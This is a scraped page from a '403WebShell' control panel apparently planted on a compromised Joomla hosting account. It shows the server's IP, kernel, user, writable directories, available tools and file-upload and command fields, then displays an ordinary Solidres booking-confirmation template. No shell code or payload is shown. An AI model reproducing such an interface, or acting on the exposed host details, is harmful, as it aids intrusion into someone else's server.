Done ! 403WebShell
403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/ptitsanes/components/com_solidres/views/reservation/tmpl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/ptitsanes/components/com_solidres/views/reservation/tmpl/final.php
<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

/*
 * This layout file can be overridden by copying to:
 *
 * /templates/TEMPLATENAME/html/com_solidres/reservation/final.php
 *
 * However, occasionally we will need to update template/layout related files and it is the template developers'
 * responsibility to update the overridden files (if any) to maintain full compatibility with Solidres.
 *
 * We do not provide support if any of the overridden files are out of date and are not compatible with Solidres.
 *
 * @version 2.8.0
 */

defined('_JEXEC') or die;

// Get some data from successful reservation
$reservationCodeUserState   = $this->app->getUserState($this->context . '.code', '');
$isNew   = $this->app->getUserState($this->context . '.is_new', true);
if (!isset($this->reservation)
	&& (!empty($paymentMethodMessage) || !empty($reservationCodeUserState))
) :
	$paymentMethodMessage = $this->app->getUserState($this->context . '.payment_method_message');
	$bookingRequireApproval = $this->app->getUserState($this->context . '.booking_require_approval');
	$finalContent           = '';
	if (!empty($paymentMethodMessage) || $bookingRequireApproval) :
		$finalContent = $paymentMethodMessage;
	else:
        $customerFullName = $this->app->getUserState($this->context . '.customer_firstname') . ' ' . $this->app->getUserState($this->context . '.customer_lastname');
	    $msg = $isNew ? 'SR_RESERVATION_COMPLETE' : 'SR_RESERVATION_AMEND_COMPLETE';
	    $link = $isNew ? JUri::root() : JRoute::_('index.php?option=com_solidres&view=customer');
        $finalContent = JText::sprintf($msg,
            $customerFullName,
            $this->app->getUserState($this->context . '.code'),
            $this->app->getUserState($this->context . '.customeremail'),
            $this->app->getUserState($this->context . '.reservation_asset_name'),
            $link
        );
	endif;
	?>

	<?php if (!empty($finalContent)) : ?>
    <div id="solidres">
        <div class="alert alert-success">
			<?php echo $finalContent ?>
        </div>
    </div>
<?php endif ?>

	<?php
	$this->app->setUserState($this->context . '.payment_method_message', null);
	$this->app->setUserState($this->context . '.payment_method_custom_email_content', null);
elseif (isset($this->reservation)) :
	?>
    <div id="solidres">

        <h3><?php echo JText::_('SR_ASSET_INFO') ?></h3>

        <table class="table table-striped">
            <thead></thead>
            <tbody>
            <tr>
                <td>
					<?php echo JText::_('SR_CONFIRMATION_ASSET_NAME') ?>
                </td>
                <td>
					<?php echo $this->asset->name ?>
                </td>
            </tr>
            <tr>
                <td>
					<?php echo JText::_('SR_CONFIRMATION_ASSET_ADDRESS') ?>
                </td>
                <td>
					<?php echo $this->asset->address_1 . ', ' .
						(!empty($this->asset->city) ? $this->asset->city . ', ' : '') .
						(!empty($this->asset->postcode) ? $this->asset->postcode . ', ' : '') .
						$this->asset->country_name ?>
                </td>
            </tr>
            <tr>
                <td>
					<?php echo JText::_('SR_CONFIRMATION_ASSET_EMAIL') ?>
                </td>
                <td>
					<?php echo $this->asset->email ?>
                </td>
            </tr>
            <tr>
                <td>
					<?php echo JText::_('SR_CONFIRMATION_ASSET_PHONE') ?>
                </td>
                <td>
					<?php echo $this->asset->phone ?>
                </td>
            </tr>
            </tbody>
        </table>

        <h3><?php echo JText::_('SR_BOOKING_INFO') ?></h3>

        <table class="table table-striped">
            <thead></thead>
            <tbody>
            <tr>
                <td>
					<?php echo JText::_('SR_CONFIRMATION_BOOKING_NUMBER') ?>
                </td>
                <td>
					<?php echo $this->reservation->code ?>
                </td>
            </tr>
            <tr>
                <td>
					<?php echo JText::_('SR_CONFIRMATION_EMAIL') ?>
                </td>
                <td>
					<?php echo $this->reservation->customer_email ?>
                </td>
            </tr>
            <tr>
                <td>
					<?php echo JText::_('SR_CONFIRMATION_BOOKING_DETAILS') ?>
                </td>
                <td>
					<?php
					if (!isset($this->reservation->booking_type)) :
						$this->reservation->booking_type = 0;
					endif;

					if ($this->reservation->booking_type == 0) :
						echo JText::plural('SR_NIGHTS', $this->lengthOfStay);
					else :
						echo JText::plural('SR_DAYS', $this->lengthOfStay + 1);
					endif;
					?>,

					<?php echo JText::plural('SR_CONFIRMATION_BOOKING_ROOM_NUM', count($this->reservation->reserved_room_details)) ?>

                </td>
            </tr>
            <tr>
                <td>
					<?php echo JText::_('SR_CONFIRMATION_CHECKIN') ?>
                </td>
                <td>
					<?php echo $this->reservation->checkin ?>
                </td>
            </tr>
            <tr>
                <td>
					<?php echo JText::_('SR_CONFIRMATION_CHECKOUT') ?>
                </td>
                <td>
					<?php echo $this->reservation->checkout ?>
                </td>
            </tr>
            <tr>
                <td>
					<?php echo JText::_('SR_CONFIRMATION_TOTAL_PRICE') ?>
                </td>
                <td>
					<?php
					JLoader::register('SRCurrency', SRPATH_LIBRARY . '/currency/currency.php');
					$baseCurrency = new SRCurrency($this->reservation->total_price_tax_incl - $this->reservation->total_discount, $this->reservation->currency_id);
					echo $baseCurrency->format()
					?>
                </td>
            </tr>
            </tbody>
        </table>

        <h3><?php echo JText::_('SR_BOOKING_CONFIRMATION_ROOM_DETAILS') ?> </h3>

        <table>
            <thead></thead>
            <tbody>
			<?php
			$reservedRoomDetails = $this->reservation->reserved_room_details;
			foreach ($reservedRoomDetails as $room) : ?>
                <dl>
                    <dt>
						<?php echo $room->room_type_name ?>
                        (
						<?php
						echo JText::plural('SR_BOOKING_CONFIRMATION_ADULTS', $room->adults_number) . ' ' . JText::_('SR_AND') . ' ' . JText::plural('SR_BOOKING_CONFIRMATION_CHILDREN', $room->children_number)
						?>
                        )
                    </dt>
                    <dd><?php echo JText::_("SR_BOOKING_CONFIRMATION_GUEST_FULLNAME") ?>
                        : <?php echo $room->guest_fullname ?></dd>
                    <dd>
						<?php
						if (is_array($room->other_info)) :
							foreach ($room->other_info as $info) :
								if (substr($info->key, 0, 7) == 'smoking') :
									echo JText::_('SR_BOOKING_CONFIRMATION_' . $info->key) . ': ' . ($info->value == '' ? JText::_('SR_NO_PREFERENCES') : ($info->value == 1 ? JText::_('SR_YES') : JText::_('SR_NO')));
								endif;
							endforeach;
						endif
						?>
                    </dd>
                    <dd>
						<?php
						$roomPriceCurrency = clone $baseCurrency;
						$roomPriceCurrency->setValue(isset($room->room_price_tax_incl) ? $room->room_price_tax_incl : $room->room_price);
						echo JText::_('SR_BOOKING_CONFIRMATION_ROOM_COST') . ': ' . $roomPriceCurrency->format();
						?>
                    </dd>
                </dl>
			<?php endforeach ?>
            </tbody>
        </table>
    </div>
<?php

endif;

Youez - 2016 - github.com/yon3zu
LinuXploit